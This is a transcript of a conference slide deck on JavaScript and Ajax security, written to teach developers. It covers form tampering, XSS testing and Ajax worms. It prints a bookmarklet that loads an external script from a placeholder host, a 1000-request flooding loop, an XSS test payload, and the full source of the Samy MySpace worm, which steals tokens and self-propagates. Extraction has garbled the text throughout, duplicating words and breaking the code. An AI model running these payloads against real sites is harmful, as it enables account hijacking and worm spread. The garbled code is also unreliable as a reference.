investigating javascript and ajax security

57
Investigating JavaScript Investigating JavaScript and Ajax Security and Ajax Security Presented By: Eric Pascarello

Upload: sampetruda

Post on 21-Dec-2014

1.103 views

Category:

Documents


1 download

DESCRIPTION

 

TRANSCRIPT

Page 1: Investigating JavaScript and Ajax Security

Investigating JavaScript Investigating JavaScript and Ajax Securityand Ajax Security

Presented By: Eric Pascarello

Page 2: Investigating JavaScript and Ajax Security

Background on Eric Background on Eric PascarelloPascarello

►Author of:Author of: Ajax In Action [Manning]Ajax In Action [Manning] JavaScript: Your visual blueprint for JavaScript: Your visual blueprint for

building dynamic Web pages (2building dynamic Web pages (2ndnd ed) ed) [Wiley][Wiley]

►HTML and JavaScript Moderator at HTML and JavaScript Moderator at JavaRanch.com since 2001JavaRanch.com since 2001

►Developer at Market10.comDeveloper at Market10.com►Perform talks on Ajax around the world.Perform talks on Ajax around the world.

Page 3: Investigating JavaScript and Ajax Security

What we are going to What we are going to investigateinvestigate

► Ajax ModelAjax Model► Classic Postback Classic Postback

ModelModel► Form HacksForm Hacks► XSS - JavaScript XSS - JavaScript

InjectionInjection► Ajax WormsAjax Worms► Other InjectionsOther Injections

Page 4: Investigating JavaScript and Ajax Security

One thing everyone must do:One thing everyone must do:Use Common Sense!Use Common Sense!

Page 5: Investigating JavaScript and Ajax Security

What is Ajax exactly?What is Ajax exactly?

Page 6: Investigating JavaScript and Ajax Security

Quick Intro to AjaxQuick Intro to Ajax

►Ajax is Asynchronous JavaScript and Ajax is Asynchronous JavaScript and XMLXML

►Coined by Jesse James Garrett of Coined by Jesse James Garrett of Adaptive PathAdaptive Path

►Not a language!Not a language!►Uses JavaScript on the client and any Uses JavaScript on the client and any

Language on the ServerLanguage on the Server

Page 7: Investigating JavaScript and Ajax Security

Ajax Security Makes a lot of Ajax Security Makes a lot of news because of:news because of:

► Inexperienced developers working with Inexperienced developers working with technologies they do not understand!technologies they do not understand! PHP + FREE SERVERS + MySQL + AJAX = BIG PHP + FREE SERVERS + MySQL + AJAX = BIG

SECURITY HOLESSECURITY HOLES JavaScript: JavaScript:

► The Cutting Edge Technology of Ctrl-C and Ctrl-VThe Cutting Edge Technology of Ctrl-C and Ctrl-V

► Tutorials, Articles, and Books skipping the Tutorials, Articles, and Books skipping the security aspect.security aspect.

► Tons of High Profile Websites using it!Tons of High Profile Websites using it!

Page 8: Investigating JavaScript and Ajax Security

Adaptive Path’s Original Adaptive Path’s Original DiagramDiagram

Page 9: Investigating JavaScript and Ajax Security

The Real Life Diagram Of Ajax The Real Life Diagram Of Ajax How to explain Ajax to your non-geek friendsHow to explain Ajax to your non-geek friends

THE COLLEGE PARTYTHE COLLEGE PARTY

Page 10: Investigating JavaScript and Ajax Security

The Bleak Situation The Bleak Situation

Page 11: Investigating JavaScript and Ajax Security

The Non-Ajax SolutionThe Non-Ajax Solution

►Figure out what is more important and Figure out what is more important and rank order of operation.rank order of operation.

►Should I clean the mess, get food, or Should I clean the mess, get food, or update the outdated music collection?update the outdated music collection?

►Perform one task and do the others Perform one task and do the others after each other. Hopefully I have after each other. Hopefully I have enough time!enough time! Go to Store, Download Music, Clean Go to Store, Download Music, Clean

Apartment so it can be trashed again.Apartment so it can be trashed again.

Page 12: Investigating JavaScript and Ajax Security

The Ajax SolutionThe Ajax Solution

► Do multiple things at Do multiple things at once!once!

► Hire a maid to do the Hire a maid to do the cleaning!cleaning!

► Order delivery pizza! Order delivery pizza! ► And I can download And I can download

new music while others new music while others do the dirty work! Ajax do the dirty work! Ajax Clean!Clean!

Page 13: Investigating JavaScript and Ajax Security

The “Ajax Engine”The “Ajax Engine”

►The XMLHttpRequest Object The XMLHttpRequest Object Allows us to send information server Allows us to send information server

without post backswithout post backs Makes the request and receives the data Makes the request and receives the data

backback Can be asynchronous or synchronousCan be asynchronous or synchronous

►Same Domain PolicySame Domain Policy Can not make requests to other domainsCan not make requests to other domains

Page 14: Investigating JavaScript and Ajax Security

The XHR ObjectThe XHR Object

►The Gecko / Safari / IE7 Object ConstructorThe Gecko / Safari / IE7 Object Constructor req = new XMLHttpRequest();req = new XMLHttpRequest();

►The ActiveX for IE 5 to IE 6The ActiveX for IE 5 to IE 6 req = new ActiveXObject("Microsoft.XMLHTTP");req = new ActiveXObject("Microsoft.XMLHTTP");

OROR req = new ActiveXObject("Msxml2.XMLHTTP");req = new ActiveXObject("Msxml2.XMLHTTP");

Page 15: Investigating JavaScript and Ajax Security

XHR Object Methods XHR Object Methods MethodMethod DescriptionDescription

abort() abort() Stops the current request Stops the current request

getAllResponseHeaders() getAllResponseHeaders() Returns all header (labels/value) Returns all header (labels/value) sets sets

getResponseHeader("headerLabelgetResponseHeader("headerLabel") ")

Returns value of a specified Returns value of a specified header label header label

open("method", "URL"[, open("method", "URL"[, asyncFlag[, "userName"[, asyncFlag[, "userName"[, "password"]]]) "password"]]])

The heart and soul! Sets The heart and soul! Sets destination URL, method, and destination URL, method, and other optional attributes other optional attributes

send(content) send(content) Transmits the request Transmits the request

setRequestHeader("label", setRequestHeader("label", "value") "value")

Assigns header to be sent with a Assigns header to be sent with a request request

Page 16: Investigating JavaScript and Ajax Security

XHR open()XHR open()

►open("method", "URL", open("method", "URL", asyncFlag); method = GET or asyncFlag); method = GET or POSTPOST

URL = Page to requestURL = Page to request

asyncFlag = True or FalseasyncFlag = True or False

Page 17: Investigating JavaScript and Ajax Security

send(parameters)send(parameters)

► Send is like clicking the submit button on a form.Send is like clicking the submit button on a form.► The parameters should be set to null or empty The parameters should be set to null or empty

string if you are not posting any information.string if you are not posting any information.► If you are posting, the name/value pairs should If you are posting, the name/value pairs should

look like a querystring without the question mark.look like a querystring without the question mark. req.send("foo=bar&ajax=123");req.send("foo=bar&ajax=123");

► If you are using GET, append the values to the If you are using GET, append the values to the URL in the open method. URL in the open method. Remember GET has a size limitation.Remember GET has a size limitation.

► If you want to send information, you have to add If you want to send information, you have to add it manually.it manually. No free ride like a form!No free ride like a form!

Page 18: Investigating JavaScript and Ajax Security

XHR Object Properties XHR Object Properties

PropertyProperty DescriptionDescriptiononreadystatechange onreadystatechange Event handler for an event that fires Event handler for an event that fires

at every state change at every state change

readyState readyState Object status integer Object status integer

responseText responseText String version of data returned from String version of data returned from server process server process

responseXML responseXML DOM-compatible document object of DOM-compatible document object of data returned from server process data returned from server process

status status Numeric code returned by server, Numeric code returned by server, such as 404 for "Not Found" or such as 404 for "Not Found" or 200 for 200 for "OK""OK"

statusText statusText String message accompanying the String message accompanying the status code status code

Page 19: Investigating JavaScript and Ajax Security

onreadystatechangeonreadystatechange

► The objects only event handler.The objects only event handler.► It is fired only when in asynchronous mode It is fired only when in asynchronous mode

33rdrd parameter is set to true in the open method parameter is set to true in the open method► It is fired a total of 4 times.It is fired a total of 4 times.► We can assign a reference to a function or We can assign a reference to a function or

build a anonymous function to itbuild a anonymous function to it req.onreadystatechange = functionName;req.onreadystatechange = functionName; req.onreadystatechange = function(){ req.onreadystatechange = function(){

//statements//statements}}

Page 20: Investigating JavaScript and Ajax Security

readyState values readyState values

► 0 - Uninitialized 0 - Uninitialized The initial value when new reference to Object is createdThe initial value when new reference to Object is created

► 1 - Open 1 - Open The open() method has been successfully called. The open() method has been successfully called.

► 2 - Sent 2 - Sent The request made it, but no data has yet been received. The request made it, but no data has yet been received.

► 3 - Receiving 3 - Receiving All HTTP headers have been received.All HTTP headers have been received. Value set right before receiving the message bodyValue set right before receiving the message body

► 4 - Loaded 4 - Loaded The data transfer has been completed.The data transfer has been completed. We can now play with the data!We can now play with the data!

Page 21: Investigating JavaScript and Ajax Security

statusstatus

►We are looking for a value of 200We are looking for a value of 200

► If you are working on the file protocol If you are working on the file protocol (eg: local disk not on a web server) than you (eg: local disk not on a web server) than you

are looking for a value of 0 [zero]).are looking for a value of 0 [zero]).

► Yes the XMLHttpRequest object can be run Yes the XMLHttpRequest object can be run off of the Active Desktop.off of the Active Desktop.

► Can be read when readyState = 4Can be read when readyState = 4

Page 22: Investigating JavaScript and Ajax Security

Basic Example of codeBasic Example of code

var req = GetXHRObject();var req = GetXHRObject();

req.open("POST", "secure.aspx", true);req.open("POST", "secure.aspx", true);

req.onreadystatechange = req.onreadystatechange = finishRequest;finishRequest;

req.send("foo=bar&ajax=123");req.send("foo=bar&ajax=123");

BasicExample1.htmlBasicExample1.html

Page 23: Investigating JavaScript and Ajax Security

I CAN VIEW THE SOURCEI CAN VIEW THE SOURCE

► I can see the page that it is requesting I can see the page that it is requesting from the JavaScript code!from the JavaScript code!

► I can see the parameters being sent!I can see the parameters being sent!► I can see the validation!I can see the validation!► I can see the Business Logic!I can see the Business Logic!► I can rule the world!I can rule the world!

Page 24: Investigating JavaScript and Ajax Security

Before We Surrender to FearBefore We Surrender to Fear

Let us look at the classic postback Let us look at the classic postback and Ajax models in detailand Ajax models in detail

Page 25: Investigating JavaScript and Ajax Security

What is Different?What is Different?Ajax POSTAjax POST

var req = GetXHRObject();var req = GetXHRObject();req.open("POST", "secure.php", true);req.open("POST", "secure.php", true);req.onreadystatechange = finishRequest;req.onreadystatechange = finishRequest;req.send("foo=bar&ajax=123");req.send("foo=bar&ajax=123");

Regular Form POSTRegular Form POST

<form action="secure.php" method="POST"><form action="secure.php" method="POST"><input type="text" name="foo" value="bar"><input type="text" name="foo" value="bar"><input type="hidden" name="ajax" <input type="hidden" name="ajax"

value="123">value="123"><input type="submit" name="sub1"><input type="submit" name="sub1"></form></form>

Page 26: Investigating JavaScript and Ajax Security

A Web 2.0 Web SiteA Web 2.0 Web Site

Page 27: Investigating JavaScript and Ajax Security

Major Cause Of Security Major Cause Of Security ConcernsConcerns

► Ajax model uses WebServicesAjax model uses WebServices Legacy or NewLegacy or New Return HTML/TEXT/JSON/XML/ETCReturn HTML/TEXT/JSON/XML/ETC

► More Ajax Functionality = More WebServices More Ajax Functionality = More WebServices = More places to attack= More places to attack Just need to forget one thing to make a new holeJust need to forget one thing to make a new hole

► Yes you can use the XMLHttpRequest Object Yes you can use the XMLHttpRequest Object to make requests without the users to make requests without the users knowledge.knowledge. We can also use images, iframes, frames, popup We can also use images, iframes, frames, popup

windows.windows.

Page 28: Investigating JavaScript and Ajax Security

Major Cause Of Security Major Cause Of Security ConcernsConcerns

►Business LogicBusiness Logic

►Building Proxy Services to talk to Building Proxy Services to talk to outside domainsoutside domains

►Displaying User ContentDisplaying User Content Tags, forums, blogs, comments, etcTags, forums, blogs, comments, etc

Page 29: Investigating JavaScript and Ajax Security

Grandma is a HackerGrandma is a Hacker

► Everyone is giving Everyone is giving you bad data.you bad data.

► Everyone is trying Everyone is trying to hack youto hack you

► Everyone wants to Everyone wants to cause a DOS attack cause a DOS attack on your server!on your server!

► VALIDATE ON THE VALIDATE ON THE SERVER!SERVER!

Page 30: Investigating JavaScript and Ajax Security

Business Logic SecurityBusiness Logic Security

► JavaScript is basically open source. JavaScript is basically open source. ►Use JavaScript as the rendering EngineUse JavaScript as the rendering Engine►Validate the info on the server! Validate the info on the server!

Use ClientSide validation as a mechanism Use ClientSide validation as a mechanism to save user time and bandwidthto save user time and bandwidth

► JavaScript Obfuscation is easily JavaScript Obfuscation is easily reversed! Don’t waste your money!reversed! Don’t waste your money!

Page 31: Investigating JavaScript and Ajax Security

The First Get Some Common The First Get Some Common Sense Award Goes To:Sense Award Goes To:

► A tutorial on Ajax to display data into a textareaA tutorial on Ajax to display data into a textarea

function getOnlineClass()function getOnlineClass(){{ var url = 'http://localhost/MyOnlineClass?var url = 'http://localhost/MyOnlineClass?

sql=SELECT* from LOP FOR XML AUTO sql=SELECT* from LOP FOR XML AUTO &root=DSLOP';&root=DSLOP';

http.open("GET", url, true);http.open("GET", url, true); http.onreadystatechange = useHttpResponse;http.onreadystatechange = useHttpResponse; http.send(null);http.send(null);}}

I wish I would have made this up!I wish I would have made this up!

Page 32: Investigating JavaScript and Ajax Security

So You Think Your Form Is So You Think Your Form Is Safe?Safe?

► ExampleExample

► Address bar is our friend for reckoning Address bar is our friend for reckoning havoc!havoc!

► javascript:yourStatements;void(0);javascript:yourStatements;void(0);

► Add an external JavaScript file!Add an external JavaScript file! javascript:var javascript:var

a=document.createElement("script");a.src="http://url/foo.js";doca=document.createElement("script");a.src="http://url/foo.js";document.body.appendChild(a);void(0);ument.body.appendChild(a);void(0);

Page 33: Investigating JavaScript and Ajax Security

Hidden Fields Are Editable?Hidden Fields Are Editable?

► The Bookmarklet and the ExampleThe Bookmarklet and the Example

► Bookmarklets makes it easy to execute code instead Bookmarklets makes it easy to execute code instead of manually adding it to the address bar.of manually adding it to the address bar.

► What is a bookmarklet?What is a bookmarklet? JavaScript statement(s) stored in a favorites link!JavaScript statement(s) stored in a favorites link!

► How can I do this? Create a link on a webpage, save How can I do this? Create a link on a webpage, save the page, open it, right click on the link, add to the page, open it, right click on the link, add to favorites.favorites. <a href="javascript:alert(new Date());void(0);">Show <a href="javascript:alert(new Date());void(0);">Show

Time</a>Time</a>

Page 34: Investigating JavaScript and Ajax Security

Who Needs ServerSide Who Needs ServerSide Validation When We Have Validation When We Have

ClientSide Checks?ClientSide Checks?►ExampleExample

►Why waste time disabling JavaScript Why waste time disabling JavaScript when we can just override the when we can just override the annoying function!annoying function!

►Set event handlers, functions, Set event handlers, functions, variables from status bar!variables from status bar!

Page 35: Investigating JavaScript and Ajax Security

Simple Scripted Attacks On A Simple Scripted Attacks On A ServerServer

var req = new Array();var req = new Array();

for(var i = 0; i<1000; i++){for(var i = 0; i<1000; i++){

req[i] = GetXHRObject();req[i] = GetXHRObject();

req[i].open("POST", "secure.aspx", true);req[i].open("POST", "secure.aspx", true);

req[i].onreadystatechange = function(){};req[i].onreadystatechange = function(){};

req[i].send("foo=" + i);req[i].send("foo=" + i);

}}

Page 36: Investigating JavaScript and Ajax Security

Is This A Vulnerability?Is This A Vulnerability?

YES or YES or NONO

Page 37: Investigating JavaScript and Ajax Security

What is your browser telling What is your browser telling others about you?others about you?

►The advertisers dream, the health The advertisers dream, the health insurance companies dream, your insurance companies dream, your snooping boss’s dream JavaScript.snooping boss’s dream JavaScript.

►The links are telling us where we have The links are telling us where we have been!been!

►Example: Is it a vulnerability or a Example: Is it a vulnerability or a feature?feature?

Page 38: Investigating JavaScript and Ajax Security

So with some JavaScript we can So with some JavaScript we can test where you beentest where you been

► Targeted Advertising for geeks, gamers, Targeted Advertising for geeks, gamers, pet owners, sports fans, porn lovers, etc.pet owners, sports fans, porn lovers, etc.

► Medical Privacy: Look to see if you been on Medical Privacy: Look to see if you been on Cancer Sites, looking at sites on Heart Cancer Sites, looking at sites on Heart conditions, etc.conditions, etc.

► Your Company can check to see if you are doing Your Company can check to see if you are doing online shopping without installing loggers!online shopping without installing loggers!

► Scan for Google SearchesScan for Google Searches Only Problem: caps matter!Only Problem: caps matter!

► http://www.google.com/search?q=Eric+Pascarellohttp://www.google.com/search?q=Eric+Pascarello► http://www.google.com/search?q=eric+pascarellohttp://www.google.com/search?q=eric+pascarello

Page 39: Investigating JavaScript and Ajax Security

Let Us Now Look AT XSSLet Us Now Look AT XSS

► Cross Site ScriptingCross Site Scripting (XSS) allows for (XSS) allows for malicious people to inject HTML, JavaScript, malicious people to inject HTML, JavaScript, PHP, PERL, CSS, etc. into a Web page.PHP, PERL, CSS, etc. into a Web page.

► Gets around same domain policyGets around same domain policy► Allow injection of browser vulnerability codeAllow injection of browser vulnerability code► Allows for people to steal informationAllows for people to steal information► Can create real annoying for-loop alert Can create real annoying for-loop alert

attacks!attacks!

Page 40: Investigating JavaScript and Ajax Security

The Second Get Some Common The Second Get Some Common Sense Award Goes To:Sense Award Goes To:

► Ask.comAsk.com► They allow you to save your preference They allow you to save your preference

settings on their site with a form. Problem is it settings on their site with a form. Problem is it is a GET!is a GET!

► http://www.ask.com/webprefs?addr1=&addr2=&http://www.ask.com/webprefs?addr1=&addr2=& qsrcqsrc=106&pu=100&padlt=1&pcn==106&pu=100&padlt=1&pcn= FR&psaveFR&psave==Save+my+settingsSave+my+settings

► The link will change the settings on their site to show 100 The link will change the settings on their site to show 100 results, change the adult filter, country, etc.results, change the adult filter, country, etc.

► Don’t update settings with GETDon’t update settings with GET► Set a hidden iFrame/image with this URL and you can change Set a hidden iFrame/image with this URL and you can change

everyone’s settings that come to your web site.everyone’s settings that come to your web site.► The Google Toolbar used to has this same problem when it was The Google Toolbar used to has this same problem when it was

first implemented! first implemented!

Page 41: Investigating JavaScript and Ajax Security

Biggest Offenders in XSSBiggest Offenders in XSS

► Web Pages that useWeb Pages that use Search PagesSearch Pages Guestbooks Guestbooks RSS ReadersRSS Readers Blog CommentsBlog Comments Web based chat/gamesWeb based chat/games Error Pages Error Pages

► Anywhere user can insert data and it is redisplayed Anywhere user can insert data and it is redisplayed back without removing the escaping the user’s back without removing the escaping the user’s input!input!

► Example Time with a Popular Website’s Search! Example Time with a Popular Website’s Search! (link not included!)(link not included!)

Page 42: Investigating JavaScript and Ajax Security

Test For JavaScript InjectionTest For JavaScript Injection

► Step 1: type in <script>alert("hi");</script> Step 1: type in <script>alert("hi");</script> into any field on a page.into any field on a page.

► Step 2: Submit the pageStep 2: Submit the page► Step 3: If you see the alert, you got success! Step 3: If you see the alert, you got success!

If no alert continueIf no alert continue► Step 4: View Source of Page and look for the Step 4: View Source of Page and look for the

code you addedcode you added► Step 5: See if they are escaping everything Step 5: See if they are escaping everything

correctly. correctly. ► Step 6: Try the injections on the next slide Step 6: Try the injections on the next slide

Page 43: Investigating JavaScript and Ajax Security

Cross Site Scripting Cheat SheetCross Site Scripting Cheat SheetEsp: for filter evasion Esp: for filter evasion

►http://ha.ckers.org/xss.htmlhttp://ha.ckers.org/xss.html

►Website has a long list of ways to get Website has a long list of ways to get past filters. past filters.

►Spend some time and go through the Spend some time and go through the list!list!

Page 44: Investigating JavaScript and Ajax Security

Combine Visited Links with Combine Visited Links with XSSXSS

► So lets say we have a list of XSS hacks we know So lets say we have a list of XSS hacks we know about. Lets say Bank MoneyBags has a XSS about. Lets say Bank MoneyBags has a XSS hole. hole.

► A surfer checks their balance at A surfer checks their balance at BankMoneyBags.com and did not sign out. He BankMoneyBags.com and did not sign out. He just surfed away. just surfed away.

► The Surfer Went to site where this visited links The Surfer Went to site where this visited links code was.code was.

► Positive match was found for the Bank link, XSS Positive match was found for the Bank link, XSS link is fired into iFrame / pop-up window / link is fired into iFrame / pop-up window / image.image.

► And the money is now in a Swiss Account!And the money is now in a Swiss Account!

Page 45: Investigating JavaScript and Ajax Security

What can be done?What can be done?

► Add key listeners and send data to outside Add key listeners and send data to outside servers.servers.

► Change user names, passwords, preferencesChange user names, passwords, preferences► Sniff out and steal sensitive dataSniff out and steal sensitive data► Annoy users with infinite alert loops!Annoy users with infinite alert loops!► Send emailSend email► Add posts to formsAdd posts to forms

► How much damage can Ajax plus XSS? We How much damage can Ajax plus XSS? We are talking about JavaScript! are talking about JavaScript!

Page 46: Investigating JavaScript and Ajax Security

Real Life JavaScript Injections with Real Life JavaScript Injections with Ajax!Ajax!

►Samy Samy [http://en.wikipedia.org/wiki/Samy_(XSS)][http://en.wikipedia.org/wiki/Samy_(XSS)] MySpace.comMySpace.com Ajax based worm that added user to friend’s listAjax based worm that added user to friend’s list October 4, 2005October 4, 2005 20 Hours20 Hours Over 1 million users had been effectedOver 1 million users had been effected Flaw was based on CSS background imageFlaw was based on CSS background image

Page 47: Investigating JavaScript and Ajax Security

The code of SamyThe code of Samy<div id=mycode style="BACKGROUND: url('java <div id=mycode style="BACKGROUND: url('java

script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g()script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return {var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU)eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var {M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1)AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return {Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC)www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function {var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e)XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var {try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1)AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new {if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero()fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new {if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpArray();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main()Send('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?{var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLfuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?Obj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm()fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var {if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK)fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-{xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

Page 48: Investigating JavaScript and Ajax Security

Samy Injection HighlightSamy Injection Highlight

►<div id=mycode <div id=mycode style="BACKGROUND: url('java style="BACKGROUND: url('java script:eval(document.all.mycode.expr)'script:eval(document.all.mycode.expr)')" expr="var )" expr="var B=String.fromCharCode(34B=String.fromCharCode(34

► This injection is listed on This injection is listed on

http://ha.ckers.org/xss.htmlhttp://ha.ckers.org/xss.html (Scroll past the halfway point on the page to see it!)(Scroll past the halfway point on the page to see it!)

Page 49: Investigating JavaScript and Ajax Security

Yahoo gets attacked!Yahoo gets attacked!

► Yamanner Yamanner [[http://en.wikipedia.org/wiki/Yamanner]http://en.wikipedia.org/wiki/Yamanner] Yahoo! Mail wormYahoo! Mail worm June 12, 2006June 12, 2006 Sent users address book to remote serverSent users address book to remote server

<img <img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/msrc='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif' target=""onload="var a/ma_mail_1.gif' target=""onload="var http_request = false; http_request = false;

Have link to full code on my blog: Have link to full code on my blog: http://radio.javaranch.com/pascarello/2006/06/13http://radio.javaranch.com/pascarello/2006/06/13/1150210232222.html/1150210232222.html

Page 50: Investigating JavaScript and Ajax Security

JavaScript Port Scanning?JavaScript Port Scanning?

► JavaScript Port Scanning can be done!JavaScript Port Scanning can be done! http://www.spidynamics.com/assets/documents/

JSportscan.pdf

► General Summary From White PaperGeneral Summary From White Paper Code gets injected into intranet web pageCode gets injected into intranet web page Every Server Installation has default imagesEvery Server Installation has default images JavaScript scans IP ranges for defaultsJavaScript scans IP ranges for defaults If image has width/height, we know the server If image has width/height, we know the server

type, and IP address.type, and IP address. Post data back to outside serverPost data back to outside server

Page 51: Investigating JavaScript and Ajax Security

